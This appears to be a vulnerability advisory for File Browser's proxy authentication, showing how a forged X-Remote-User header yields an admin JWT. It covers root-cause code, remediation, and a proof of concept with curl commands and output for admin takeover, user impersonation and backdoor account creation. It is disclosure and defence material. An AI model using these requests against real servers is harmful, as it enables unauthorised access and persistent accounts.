File Browser: Authentication Bypass via Proxy Auth Header Forgery

The third scenario is common because:

• Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80)
• Administrators expose the port for debugging, monitoring, or health checks
• Cloud deployments may have misconfigured security groups or load balancers
• Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        return a.createUser(usr, setting, srv, username)
    }
    return user, err  // <-- returns the user object, no password verification
}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

func loginHandler(tokenExpireTime time.Duration) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
        // ...
        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
        // No additional verification — if auther.Auth() returns a user, a JWT is minted
        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
    }
}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
    pwd, err := users.RandomPwd(randomPasswordLength)
    // ...
    user := &users.User{
        Username:     username,       // <-- attacker-controlled
        Password:     hashedRandomPassword,
        LockPassword: true,
    }
    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
    // ...
    err = usr.Save(user)              // <-- persisted to database
    return user, nil
}

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
                                         |
loginHandler()                           |
  |-> d.store.Auth.Get("proxy")         |
  |-> auther.Auth(r, ...)               |
        |-> ProxyAuth.Auth()             |
              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
              |-> return user, nil                ->  no password check
  |-> printToken(w, r, d, user, ...)    |
        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
    "signup": false,
    "hideLoginButton": true,
    "createUserDir": false,
    "minimumPasswordLength": 12,
    "userHomeBasePath": "/users",
    "defaults": {
        "scope": ".",
        "locale": "en",
        "viewMode": "mosaic",
        "singleClick": false,
        "redirectAfterCopyMove": true,
        "sorting": {
            "by": "",
            "asc": false
        },
        "perm": {
            "admin": false,
            "execute": true,
            "create": true,
            "rename": true,
            "modify": true,
            "delete": true,
            "share": true,
            "download": true
        },
        "commands": [],
        "hideDotfiles": false,
        "dateFormat": false,
        "aceEditorTheme": ""
    },
    "authMethod": "proxy",
    "rules": [],
    "branding": {
        "name": "",
        "disableExternal": false,
        "disableUsedPercentage": false,
        "files": "",
        "theme": "",
        "color": ""
    },
    "tus": {
        "chunkSize": 10485760,
        "retryCount": 5
    },
    "shell": [
        "/bin/sh",
        "-c"
    ],
    "commands": {
        "after_copy": [],
        "after_delete": [],
        "after_rename": [],
        "after_save": [],
        "after_upload": [],
        "before_copy": [],
        "before_delete": [],
        "before_rename": [],
        "before_save": [],
        "before_upload": []
    }
}
root@LAPTOP-VUMRCEKO:~#

Prerequisites

• FileBrowser with proxy auth enabled:

  filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
  

• Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")

echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

{
    "authMethod": "proxy",
    "shell": ["/bin/sh", "-c"],
    "signup": false,
    "defaults": { "perm": { "admin": false, "execute": true, ... } },
    ...
}

Step 4: Enumerate all user accounts

curl -s http://localhost:8085/api/users \
  -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

1. Full admin takeover — impersonate the admin user and gain complete control
2. Read all server settings — shell configuration, permissions, branding, rules
3. Enumerate and impersonate all users — access every user's files without credentials
4. Create unlimited backdoor accounts — auto-creation generates persistent accounts
5. Modify server configuration — enable command execution, change shell, alter rules
6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

type ProxyAuth struct {
    Header         string   `json:"header"`
    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    // Verify request originates from a trusted reverse proxy
    clientIP := realip.FromRequest(r)
    if !a.isTrustedProxy(clientIP) {
        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
    }

    username := r.Header.Get(a.Header)
    if username == "" {
        return nil, os.ErrPermission
    }

    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        if a.AutoCreateUsers {  // Make opt-in
            return a.createUser(usr, setting, srv, username)
        }
        return nil, os.ErrPermission
    }
    return user, err
}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth:

• FileBrowser MUST NOT be directly accessible from untrusted networks
• Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it
• The reverse proxy MUST strip/overwrite the configured header from client requests

References

• Source file: https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go
• Login handler: https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137
• CWE-287: https://cwe.mitre.org/data/definitions/287.html
• CWE-290: https://cwe.mitre.org/data/definitions/290.html
• OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html